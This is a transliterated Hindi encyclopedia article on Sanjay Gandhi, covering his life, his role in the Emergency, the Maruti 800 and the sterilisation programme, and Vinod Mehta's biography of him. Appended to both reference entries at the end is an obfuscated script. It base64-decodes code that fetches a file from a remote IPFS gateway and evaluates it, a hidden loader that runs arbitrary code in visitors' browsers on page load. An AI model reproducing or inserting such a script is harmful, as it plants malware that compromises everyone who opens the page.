संजय गाँधी
sanjay gaandhi
| |
| poora nam | sanjay firoz gaandhi |
| janm | 14 disambar, 1946 |
| janm bhoomi | dilli |
| mrityu | 23 joon, 1980 |
| mrityu sthan | dilli |
| mrityu karan | helik aauptar durghatana |
| abhibhavak | firoz gaandhi evan iandira gaandhi |
| pati/patni | menaka gaandhi |
| santan | varun gaandhi |
| nagarikata | bharatiy |
| parti | kaangres |
| sanbandhit lekh | javaharalal neharoo, neharoo-gaandhi parivar vriksh |
| any janakari | bharat mean parivar niyojan ki purush nasabandi yojana aur desh ke am adami ki kar kahalane vali maruti 800 ko desh mean lane ka shrey sanjay gaandhi ko hi jata hai. |
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sanjay gaandhi (aangrezi: Sanjay Gandhi, janm: 14 disambar, 1946; mrityu: 23 joon, 1980) bharatiy neta the. sanjay gaandhi iandira gaandhi ke chhote putr the. bharat mean apatakal ke samay unaki bhoomika bahut vivadaspad rahi. alpayu mean hi ek helik aauptar durghatana mean unaki maut ho gayi. menaka gaandhi sanjay gaandhi ki patni aur varun gaandhi sanjay gaandhi ke putr haian.
jivan parichay
bharatiy rajaniti mean sanjay gaandhi ka nam ek aise yuva neta ke roop mean darj hai jisaki vajah se desh ki rajaniti mean kee b de parivartan hue. bharat ki sabase prabhavi vyaktitv vali pradhanamantri iandira gaandhi aur firoz gaandhi ke putr sanjay gaandhi ko ek aise vyaktitv ke roop mean jana jata hai jisane bharat ke lokatantr ko tanashahi mean badal diya tha. apani tej tarrar shaili aur dridh nishchayi soch ki vajah se desh ki yuva ki pasand bane is neta ke phaisaloan ke age kee bar tatkalik pradhanamantri iandira gaandhi ko bhi pichhe hatane ko majaboor kar diya. alochakoan ke nishane par rahane ke bavajood unake kee phaisaloan ko aj tak saraha jata hai. 14 disanbar 1946 ko janme sanjay gaandhi ne 70 ke dashak ki bharatiy rajaniti mean kee udaharan pesh kiye jise aj tak yad kiya jata hai. bharatiy rajaniti mean tezi se ubhare sanjay gaandhi 23 joon 1980 ko ek havaee durghatana shikar ho ge.[1]
parivar
desh ke sabase b de rajanitik gharane neharoo gaandhi parivar mean janme sanjay gaandhi bharat ke poorv pradhanamantri rajiv gaandhi ke chhote bhaee the| kaha jata hai ki bachapan se hi apane jiddi svabhav ki vajah se vah mata pita ke tamam prayasoan ke vabajood padhaee mean ruchi nahian lete the. jis vajah se sanjay gaandhi ko desh ke mashahoor skool doon kalej chho dana p da jabaki unake b de bhaee rajiv ne apani 12vian tak ki padhaee vahian poori ki thi. har kam ko apane aandaj mean karane ke adi sanjay gaandhi ne vyaktigat jivan ke sath sath desh ka bhavishy tay karane vale kuchh aise phaisale lie jinaki vajah se desh ko visham paristhitiyoan se gujarana p da.[1]
apatakal ke samay
rajanitik visheshajnoan ki mane to 1975 ke apatakal mean sanjay gaandhi hi aisi takat sabit hue the jisane rashtriy kaangres ke astitv ko bachane ki himmat dikhaee thi. 19 mah ke apatakal se ubharane ke bad varsh 1977 ke chunav mean bhale hi kaangres ko har ka samana karana p da, lekin usake bad sanjay gaandhi aur iandira gaandhi ko giraphtar kar jel bhejane ki taiyariyaan bhi ki gee. halaanki tatkalik sarakar jyada dinoan tak satta sukh nahian bhog saki aur varsh 1979 ke chunav ne kaangres ki satta mean vapasi karava di.[1]
yogadan
kaha jata hai ki ek samay aisa tha jab sanjay gaandhi apani maan iandira gaandhi ke samanaantar apani sarakar chalaya karate the aur unake phaisaloan ke age iandira gaandhi ko bhi jhukana p data tha. sanjay gaandhi ne kaangres ke kuchh netaoan aur adhikariyoan ki dam par desh ki arthik nitiyoan aur pradhanamantri iandira gaandhi ke phaisaloan ko prabhavit karana shuroo kar diya tha. jisaka ek bahut b da udaharan parivar niyojan ki purush nasabandi yojana aur desh ke am adami ki kar kahalane vali maruti 800 ko desh mean lane ka shrey sanjay gaandhi ko hi jata hai.[1]
vyaktitv evan lokapriyata
ajad bharat ke itihas mean sanjay gaandhi ikalaute aise rajaneta haian jinake vyaktitv aur kriyakalapoan ke bare mean janane ki jijnasa bharatiy janamanas mean ab bhi hai, lekin unake bare mean jyada likhit samagri upalabdh nahian hai, lihaja unake bare mean sabase jyada kivadantiyaan suni jati rahi haian. sanjay gaandhi khud kaha karate the ki unaki railiyoan ke dauran kisi ko bhi paise dekar raili mean nahian laya jata hai balki ye logoan ki mere bare mean janane aur mujhako dekhane ki jijnasa se meri raili mean khianche chale ate haian. apatakal ke dauran sanjay gaandhi ke tanashahi ravaiye ko lekar kafi kuchh likha gaya hai, unake dostoan aur yuva kaangres karyakartaoan ki jyadatiyoan ke bare mean bhi saik doan lekh likhe ge, kitabean bhi aeean. is bat ki bhi kafi charcha huee ki sanjay gaandhi ki mahatvakaanksha iandira gaandhi ko lagatar kamazor karati rahi. sanjay gaandhi ko bharat mean kee lokataantrik sansthaoan ko khatm karane ya kamazor karane ka bhi jimmedar mana jata hai. apatakal, us dauran sarakari kamakaj, iandira gaandhi ke daanv peanch adi ke bare mean rajanitik tippanikar itane ulajh ge ki sanjay gaandhi ki jivani ya unapar koee mukkamal kitab likhane ke bare mean socha hi nahian gaya. agar socha gaya hota to sanjay gaandhi par likhane ke lie behad shram karana hota kyoanki unake vyaktitv ke kee pahaloo haian aur vishleshan ke anek viandu. sanjay gaandhi ko bhagavan ne bahut chhoti si umr di lekin us chhoti umr mean hi sanjay ne desh ko hilakar rakh diya tha.[2]
ekamatr jivani
ab tak sanjay gaandhi ki ekamatr jivani likhi gee hai jisaka nam hai –d sanjay stori- aur usake lekhak haian – varishth patrakar vinod mehata. yah jivani bhi na to pramanik hone ka dava karati hai aur na hi adhikarik. sanjay gaandhi ki jivani mean vinod mehata ne behad vastunishthata ke sath sanjay gaandhi ke bahane us daur ko bhi paribhashit kiya hai. apatakal ki jyadatiyoan ke alava maruti kar projekat ke ghapaloan par to vistar se likha hai lekin sath hi apatakal hatane par sarakari kamakaj mean dhilaee par bhi apane chutile aandaj mean var kiya hai. vo likhate haian- jis din 21 march ko apatakal hataee gee us din rajadhani eksapres char ghante ki deri se pahuanchi. kanapur mean el aee si ke karmachariyoan ne lanch taim mean morcha nikala, dilli ke pres klab mean mukkebaji huee, kalakatta mean do phaimili planiang vain jalaee gee, mumbee ke sham ke akhabaroan mean daans klases ke vijnapan chhape, taskari kar laee jane vali vhiski ki kimat das rupe kam ho gee. desh mean halat samany ho ge. vyaganyatmak shaili mean ye kahate hue vinod apatakal ke daur mean in halatoan ke thik hone ki tasdik karate haian.
vinod mehata ki kitaboan mean kee tathy purane haian- jaise doon skool mean hi sanjay ko kamalanath jaisa dost mila jo lagatar do sal tak phel ho chuka tha. skool se vapas ane ke bad sanjay gaandhi ki dostoan ke sath masti kafi badh gee thi aur vinod mehata ne bilkul phikshan ke aandaj mean usako likha hai jisaki vajah se rochakata apane charam par pahuanch jati hai. sanjay gaandhi ki is kitab mean jo sabase dilachasp adhyay hai vo hai maruti kar ke bare mean dekhe ge sanjay ke sapane ke bare mean. maruti- san aauph d viand g aaud mean vinod mehata ne sanjay gaandhi ki kisi bhi kimat par apani man ki karane, kisi bhi kimat par apani chahat ko hasil karane ki, us hasil karane ke bich mean ro de atakane vale ko hashie par pahuancha dene ki manovritti ka saph taur par chitran kiya hai. sanjay gaandhi ki bachapan se mashinoan aur upakaranoan mean khas ruchi thi jise dekhakar neharoo ji kaha karate the ki unaka nati ek behatarin ianjiniyar banega.[2]
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tika tippani aur sandarbh
- ↑ 1.0 1.1 1.2 1.3 sanjay gaandhi ki 32vian punyatithi par vishesh (hiandi) hiandi pardaphash. abhigaman tithi: 15 joon, 2013.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
- ↑ 2.0 2.1 sanjay gaandhi ki anakahi kahani (hiandi) visfot d aaut k aaum. abhigaman tithi: 15 joon, 2013.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>